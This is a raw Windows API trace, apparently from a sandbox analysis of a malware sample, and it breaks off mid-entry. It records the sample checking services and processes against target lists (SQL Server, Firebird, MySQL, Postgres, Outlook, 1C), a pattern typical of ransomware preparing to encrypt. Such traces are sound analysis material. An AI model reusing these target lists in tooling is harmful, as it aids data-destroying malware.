[0045.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.997] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.997] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.997] lstrlenW (lpString="Netman") returned 6 [0045.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.997] lstrlenW (lpString="netprofm") returned 8 [0045.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.997] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.997] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.997] lstrlenW (lpString="NlaSvc") returned 6 [0045.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.997] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.997] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.997] lstrlenW (lpString="nsi") returned 3 [0045.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.997] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.997] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.997] lstrlenW (lpString="PcaSvc") returned 6 [0045.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.997] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.998] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.998] lstrlenW (lpString="PlugPlay") returned 8 [0045.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.998] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.998] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.998] lstrlenW (lpString="Power") returned 5 [0045.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.998] lstrlenW (lpString="ProfSvc") returned 7 [0045.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.998] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.998] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.998] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.998] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.998] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.998] lstrlenW (lpString="RpcSs") returned 5 [0045.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.998] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.998] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.999] lstrlenW (lpString="SamSs") returned 5 [0045.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.999] lstrlenW (lpString="Schedule") returned 8 [0045.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.999] lstrlenW (lpString="SENS") returned 4 [0045.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.999] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.999] lstrlenW (lpString="Spooler") returned 7 [0045.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.999] lstrlenW (lpString="swprv") returned 5 [0046.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0046.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0046.000] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0046.000] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0046.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0046.000] lstrlenW (lpString="SysMain") returned 7 [0046.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0046.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0046.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0046.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0046.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0046.000] lstrlenW (lpString="Themes") returned 6 [0046.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0046.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0046.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0046.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0046.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0046.000] lstrlenW (lpString="TrkWks") returned 6 [0046.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0046.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0046.000] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0046.000] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0046.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0046.000] lstrlenW (lpString="UxSms") returned 5 [0046.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0046.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0046.000] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0046.000] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0046.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0046.001] lstrlenW (lpString="VSS") returned 3 [0046.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0046.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0046.001] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0046.001] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0046.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0046.001] lstrlenW (lpString="WdiServiceHost") returned 14 [0046.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0046.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0046.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0046.001] lstrlenW (lpString="WdiSystemHost") returned 13 [0046.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0046.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0046.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0046.001] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0046.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0046.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0046.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0046.001] lstrlenW (lpString="Winmgmt") returned 7 [0046.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0046.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0046.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0046.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0046.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0046.001] lstrlenW (lpString="WPDBusEnum") returned 10 [0046.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.002] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0046.002] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0046.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0046.002] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40038c8 | out: hHeap=0x4b0000) returned 1 [0046.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0046.004] Process32FirstW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.005] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.006] lstrlenW (lpString="System") returned 6 [0046.006] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0046.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0046.006] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0046.006] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0046.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0046.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0046.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0046.006] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.007] lstrlenW (lpString="smss.exe") returned 8 [0046.007] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0046.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0046.007] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0046.007] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0046.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0046.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0046.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0046.007] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.007] lstrlenW (lpString="csrss.exe") returned 9 [0046.007] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.007] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.008] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0046.008] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.008] lstrlenW (lpString="wininit.exe") returned 11 [0046.008] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0046.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0046.008] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0046.008] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.009] lstrlenW (lpString="csrss.exe") returned 9 [0046.009] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.010] lstrlenW (lpString="winlogon.exe") returned 12 [0046.010] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.011] lstrlenW (lpString="services.exe") returned 12 [0046.011] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.011] lstrlenW (lpString="lsass.exe") returned 9 [0046.011] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.012] lstrlenW (lpString="lsm.exe") returned 7 [0046.012] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.013] lstrlenW (lpString="svchost.exe") returned 11 [0046.013] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.013] lstrlenW (lpString="svchost.exe") returned 11 [0046.013] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.014] lstrlenW (lpString="svchost.exe") returned 11 [0046.014] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.015] lstrlenW (lpString="svchost.exe") returned 11 [0046.015] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.015] lstrlenW (lpString="svchost.exe") returned 11 [0046.015] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.016] lstrlenW (lpString="audiodg.exe") returned 11 [0046.016] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.017] lstrlenW (lpString="svchost.exe") returned 11 [0046.017] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.017] lstrlenW (lpString="svchost.exe") returned 11 [0046.017] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.018] lstrlenW (lpString="dwm.exe") returned 7 [0046.018] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.019] lstrlenW (lpString="explorer.exe") returned 12 [0046.019] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.019] lstrlenW (lpString="spoolsv.exe") returned 11 [0046.019] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.020] lstrlenW (lpString="taskhost.exe") returned 12 [0046.020] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.021] lstrlenW (lpString="svchost.exe") returned 11 [0046.021] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.022] lstrlenW (lpString="taskeng.exe") returned 11 [0046.022] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.022] lstrlenW (lpString="taskhost.exe") returned 12 [0046.022] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0046.023] lstrlenW (lpString="chem venues.exe") returned 15 [0046.023] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0046.024] lstrlenW (lpString="month.exe") returned 9 [0046.024] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0046.024] lstrlenW (lpString="glasgow.exe") returned 11 [0046.024] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0046.025] lstrlenW (lpString="rubber.exe") returned 10 [0046.025] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0046.026] lstrlenW (lpString="petroleum.exe") returned 13 [0046.026] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0046.026] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0046.026] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0046.027] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0046.027] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, 